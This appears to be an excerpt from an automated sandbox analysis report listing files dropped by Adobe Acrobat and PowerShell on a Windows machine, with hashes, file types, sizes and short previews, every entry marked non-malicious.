SHA-512:	0290DBF70F72813CC51D2B8F547CA5DF0B03BEC5BE289E040EEE0DFA772AD2D47DC22A4C53D263F8EFFA567BC0F3790A790992F4E3318A3086063B1B27560F7F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"86ad2a2f-5b67-4ffc-8dcd-e7c1499a1318","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736713966434,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.264871300577661
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP8ep34z19vB3/dVlPIHAR0YboAvJf+dPeUkwRe9:YvXKXhp3WrvR/ZwHAYG28Ukee9
MD5:	38670DCD21EAA9000A0903AFF43AFBB5
SHA1:	8D96633528DCCFB4BCA4F4115B7F2465E6321E69
SHA-256:	E7A88926444E55A10B423ED289390A0FBDB056DED9B02A9F7695F59CE4ABD18C
SHA-512:	83C09403BFF54DA8933E2D7BA77C24A6961C882B2EAD1E2213D7F29B396B0BA81F31219911A112797E0F742BFF2D60BAA9EF539FA68E8876CDB9E933A8A45B6E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"86ad2a2f-5b67-4ffc-8dcd-e7c1499a1318","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736713966434,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.262877487647608
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP8ep34z19vB3/dVlPIHAR0YboAvJfbPtdPeUkwRe9:YvXKXhp3WrvR/ZwHAYGDV8Ukee9
MD5:	1CBE86E2C778B02C9FF039136111413E
SHA1:	5866FF0A5A04260A3DC350F9910D880586F59505
SHA-256:	E6B2093AAD5BDCAA90ED6E201AA70D815FABF823954BCECE69B834C373D1C1B1
SHA-512:	8CD88F00C4CE87FD50AFA644048CC0D2FE17281044D93FE520ABF15E797F5A5E9180C37D48ACA2CE67AA6F8F268F7828676B2E3CF9A1C70D2C9DBF5DEFB8BEFE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"86ad2a2f-5b67-4ffc-8dcd-e7c1499a1318","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736713966434,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.261928224286999
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP8ep34z19vB3/dVlPIHAR0YboAvJf21rPeUkwRe9:YvXKXhp3WrvR/ZwHAYG+16Ukee9
MD5:	144E5DDEDA4B6D62CE86A8207DF99FD7
SHA1:	494E03B28A35840D1CEA8351082579CF61BCB0A6
SHA-256:	F594BB0B992FB8928E8D7F9064358B30552666F2EC9B6D4502BCA85865A38974
SHA-512:	5CEE99EA385C5256AF5B02F41C7D179C61A66807E1AC71C9EC8358F62B73CD7C48AE80C5E926C325824FFBA02AB3D8955BDFBE44374F7697EA4B8EFC9D35EAEB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"86ad2a2f-5b67-4ffc-8dcd-e7c1499a1318","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736713966434,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.662564763273291
Encrypted:	false
SSDEEP:	24:Yv6XyrJhBamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSXS:Yv9JhNBgkDMUJUAh8cvMC
MD5:	9FE26C13C79CD6689C038E1D6384E3B8
SHA1:	A15665FF391FD8D61AAF6601782B86EB43A095AB
SHA-256:	0D5F6AC8E9F2EC4B09801FCFAF31E30DB04C7936662FD7F99161A3EEBD960CC3
SHA-512:	33C2525779E72079FC0F0C15B5EAE8D7A2D188A79E5F21C05C8407E90BD8D1C43BBADC75164A0AD5DB209D7A217833F55AD76BE61702395BF45ACAEFB188C558
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"86ad2a2f-5b67-4ffc-8dcd-e7c1499a1318","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736713966434,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.235023534783037
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP8ep34z19vB3/dVlPIHAR0YboAvJfshHHrPeUkwRe9:YvXKXhp3WrvR/ZwHAYGUUUkee9
MD5:	763C9A582A4D3972555F48E81F386701
SHA1:	25AE88B0696A064130EA3ECD9EAA98F04FE2DE4F
SHA-256:	24710BE2E21A6401B75C4D9762D248869B1ECAFD9934B9076D92F8DF1E88EC14
SHA-512:	7F2C6EB623F7C890B5582F1CDE936C45F8FDACB5B660B25747B275F194189A04CBA2DCA27249500F9265298036D882372B66E1841C08297A38B40F9933C6C078
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"86ad2a2f-5b67-4ffc-8dcd-e7c1499a1318","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736713966434,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.260097150945896
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP8ep34z19vB3/dVlPIHAR0YboAvJTqgFCrPeUkwRe9:YvXKXhp3WrvR/ZwHAYGTq16Ukee9
MD5:	FD7C93E1B65DBC9E53CF204490C2BEC5
SHA1:	16F6C0D5D855D90EE35C34CEA735B13920EC4DCB
SHA-256:	8EDB03012A0D5D09D50EA6C1F569684EBB6D7869F0AD1E92C96D0329AD72E7FB
SHA-512:	AE19A6C529F51EF2AA6B724CAFF0EB3CD18E482C997ED847E581F84159B3508373A31342A503384A371F7717350C630C9FF664B788EA5548513A2FAAEF39197A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"86ad2a2f-5b67-4ffc-8dcd-e7c1499a1318","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736713966434,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.139934700390857
Encrypted:	false
SSDEEP:	48:YmCJxDJ3hksuG2gUDjHtaIElZwkBaLvmmGPMXl9j2sf:03DJ3mgmj5garbGUa8
MD5:	31EBEAA40F0663F3D8A5AAB64CA6BE63
SHA1:	87F69E3C34E5F9839EC6DDEFAC66010F9C5188AE
SHA-256:	5670F18D598968201CDB96112483480FD84B02B47B06F1EE0B3F8DCE511F8CE5
SHA-512:	B9D54D329016BCFA50B3754EF5E846CA60E1E3580F4737C638D3D9BCEB04D672FDB4D0B92616BE74677780422874F41223118CAB0738746A5F7CED752998EFBD
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"9b4afbdce29a54f426f2b0945605cef1","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736534716000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"70fc7406e94baf9df19e8412dc366513","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736534716000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"bf0c3dca2dbf0cee9ea7366ea6739ce8","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736534716000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"03a2a62b8b2e4c3326e0b7eda9c40dcb","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736534715000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"62a27d66c5fb5d1486be70befd7a1fa2","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736534715000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"ee2aec0d94c8c9110d032ebd6d6a6528","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.318395474341264
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMeMtqVpaP:TGufl2GL7ms9WR1CPmPbPahmypilIu
MD5:	0AC2F34B7550CA4CB281925F97372706
SHA1:	FAE121BAAB3E72DB03800961ADD67567DCAFC285
SHA-256:	0D342BB0F51439556E0B5521C0F4D07A8F7BBF3A6F42F2E333B01348430E614E
SHA-512:	DC926E97421C8F40990E0829B8547B39F5A3B34E09658452DD2E670BA85FB944C80295EC5F7D6E8208BDAE058D67B7BF493608BAF982EE4A0925B019C875D182
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7790003840470123
Encrypted:	false
SSDEEP:	24:7+trtlhn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMeM4qVpaVrScVr0InPqLhx/F:7MrqWR1CPmPbPahfypilI2qFl2GL7msz
MD5:	E56E9F550F283B4291E400249BC6468C
SHA1:	9942472446A61F4BFC12E93E3A19BFC0C0E29670
SHA-256:	08F6F3432EDB9051303FF371043C678DAD4FD488C8670FC4DD77D9E8C5C5DA8B
SHA-512:	EA441DF2ED932635DB9E23D5B88767F24F7738EFCF2FDC4F363AF33FD711A44B0ACB7CB688BA5CE2678AE2F05F3F89227673B1D79ED810A6D9E16116968008E2
Malicious:	false
Preview:	.... .c......ao...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgTML0e8SQYiVaTNtNu69d1M4Jk1Yyu:6a6TZ44ADETML0efQYY82j1K
MD5:	57C151E21EE4EA23BD4C764FAC0D91BF
SHA1:	2322C125C09B77E5A12609E7A900A38B9FA39352
SHA-256:	FBEC473311C817EDDE5C464A45F02CFA08BF48C2E81751A9ED66410F3BD20A8A
SHA-512:	148D227943E621CDF0A23E419BB4A253F5CDFD5B93FE34A18FD2F0919780EE141BD294F4C6040E30DDA0C22F7C3EE8D1868F3BDB1C2D1C7E027E5ED643C03F22
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulDm0ll//Z:NllU6cl/
MD5:	DA1F22117B9766A1F0220503765A5BA5
SHA1:	D35597157EFE03AA1A88C1834DF8040B3DD3F3CB
SHA-256:	BD022BFCBE39B4DA088DDE302258AE375AAFD6BDA4C7B39A97D80C8F92981C69
SHA-512:	520FA7879AB2A00C86D9982BB057E7D5E243F7FC15A12BA1C823901DC582D2444C76534E955413B0310B9EBD043400907FD412B88927DAD07A1278D3B667E3D9
Malicious:	false
Preview:	@...e.................................R..............@..........

C:\Users\user\AppData\Local\Temp\MSIfed0d.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5136057226030957
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEW:Qw946cPbiOxDlbYnuRK+bDW
MD5:	BD005B6F1A922DB1ABC3C562ADD2351E
SHA1:	440016AEC7CBB90D83B412FFA28318CE13913A02
SHA-256:	C13EC10B5C9C1EFBABD0272A7058306D80E75D28E44B0164D47876AF87B0082D
SHA-512:	796040DF8069D01F96C39A74EFC937FF59E29E4A6413476265FE335AD5DA0764C5B6CBFE2A8868090D1D940FBCAE907DF6F205F3506841BED26D4CB20C421F02
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.3.:.4.5.:.1.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0qvli2ro.lrr.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xgzb1px1.v3u.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 13-45-08-404.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.360894387707467
Encrypted:	false
SSDEEP:	384:D5vazaia7aPbWb+ybibJb5bIbqbPlAOaOgOSf3f3fQf7fWoYRFYrZSKULgLmLyk9:Kmj
MD5:	AE7D1635A132DD9776A4A4CB8C6612A0
SHA1:	47C6A7D3440D911AEFF2B4441C4E02CD6327CADC
SHA-256:	5FC3DC9ED0D1194D2BF9CED8791E9C5D0C0E26FE3A81E6DB2B2254A20B63111A
SHA-512:	529203B62A79AD45B855F15FD04185315626D3BF382B45A821B89E8D4A9B386C22B30F2303D9592F1BDA8974BCBC713FD25910453A1F98D9ACF577F409871F15
Malicious:	false
Preview:	SessionID=d544c3c2-eac2-4d3e-b40f-5686a3998593.1736534708428 Timestamp=2025-01-10T13:45:08:428-0500 ThreadID=7372 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=d544c3c2-eac2-4d3e-b40f-5686a3998593.1736534708428 Timestamp=2025-01-10T13:45:08:430-0500 ThreadID=7372 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=d544c3c2-eac2-4d3e-b40f-5686a3998593.1736534708428 Timestamp=2025-01-10T13:45:08:430-0500 ThreadID=7372 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=d544c3c2-eac2-4d3e-b40f-5686a3998593.1736534708428 Timestamp=2025-01-10T13:45:08:430-0500 ThreadID=7372 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=d544c3c2-eac2-4d3e-b40f-5686a3998593.1736534708428 Timestamp=2025-01-10T13:45:08:430-0500 ThreadID=7372 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.401466249618726
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbF6cbkIrBcbl:ceo4+rsCTRr6
MD5:	291186F771EA71AB796ED8FC7C58CD96
SHA1:	23551DF593B7DF318D9A278927D5E762E61E2EBD
SHA-256:	784544CE781AC84E22A2C55E634BABA1F136514BA592E60ABD98A6653B4A1BDD
SHA-512:	A86D798EE4C1C7A9C33DFBF6EF80F1ABDDC1F4B9781393696A50CA97915C0DCE709ACB2C502BDC38CA2D53CA83E6544177837A4A844BFADD9C998D7E3502E2D2
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\001bbb06-3e88-4ab3-9032-3115404a441c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 921996
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:rBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOFjNOX1Lj3vfE4JvWTlP:r+Tegs661ybxrr/IxkB1mabFhOXZ/fEh
MD5:	C14EBC9A03804BAB863F67F539F142C6
SHA1:	FD44F63771819778149B24DD4B073940F5D95BFA
SHA-256:	A495629FA5E71EE50BB96F9C4CAEAC46E8B44BFC3F910A073348258F63DFAFCE
SHA-512:	8ED832A54A3925914E3BCFC96A3ABFF63A511ADAC79A869AD1569BB175CC1AF84E6C2BD20FA2187A5C3B733625EDE5D95C2172B24ED2F252835689F6D4A0F5A2
Malicious:	false
Preview:	...........[l\[.......p.a$..$.K...&%J.J...Wuo..dI.vk4.E..P.u..(.....1.I....A...............0.....$ctg.H.'....@.Zk...~.s.A]M.A..:g?.^{...cjL...X..#.Q{......z...m...K.U]-..^V.........@..P...U.R..z.......?......]nG..O{..n........y...v7...~C#..O.z...:...H&..6M;........c..#.y4u.~6.?...V?.%?SW.....K...[..`N.i.1..:..@?i.Q..O...`.....m.!y.{...?=.. .....Zk......%.6......o<.....yA}......no......u,.....U...a.......[S.n..`.....:...1......X..u.u...`..B=.&M.y..s.....}.i..l.'u]. ...6.s`....zdN.F.>;.d%D..}3..b..~..k.......,hl.j..._...F..p.z..o...C..,.Ss.u.Xd..a.Y.{.p...?.k..t,&..'...........^.f.hg....y..Y...i..m....<..^......yK.......;.5...E...K..Q.;k..\|;..B.{m..eS..>b..>...6...wmC.i.....wv..k..{..X...RB.P..?w......1l.H..{{.`g.P.8.Z..v_.G.....f.%+z.....p.P..u}.T.....~r]..W7..._..c.k.....@....y.K...uOSj........^....B..]..~{..;...c....r.J.m.S.}.....k....u*^...5./...{......3.I.p.t...V..........W-..\|.K.N.....n.........Bl...#)..;..4.x.....'....A....x..

C:\Users\user\AppData\Local\Temp\acrocef_low\430a8578-a00b-4da2-858a-bd2d4c816eb3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:6DaWL07oXGZGwYIGNPJNdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:caWLxXGZGwZGh3mlind9i4ufFXpAXkru
MD5:	7867DAFF192926A49EB7516D226D452F
SHA1:	BD0B185B12DB865CEA23060A9789C6B2D814B62E
SHA-256:	C7586BA81615BBAA63DA0D81CE18C0D087D1237500C99C35239A4D3CAEED2934
SHA-512:	B556042E82056983EA6A69AEE0DAB370641437EF6239FD04676FC26EC9472C6E5EF6194885C165E3987E8019321DCD9B4A574EA7A6253AC3C9468434AEAA0C21
Malicious:	false
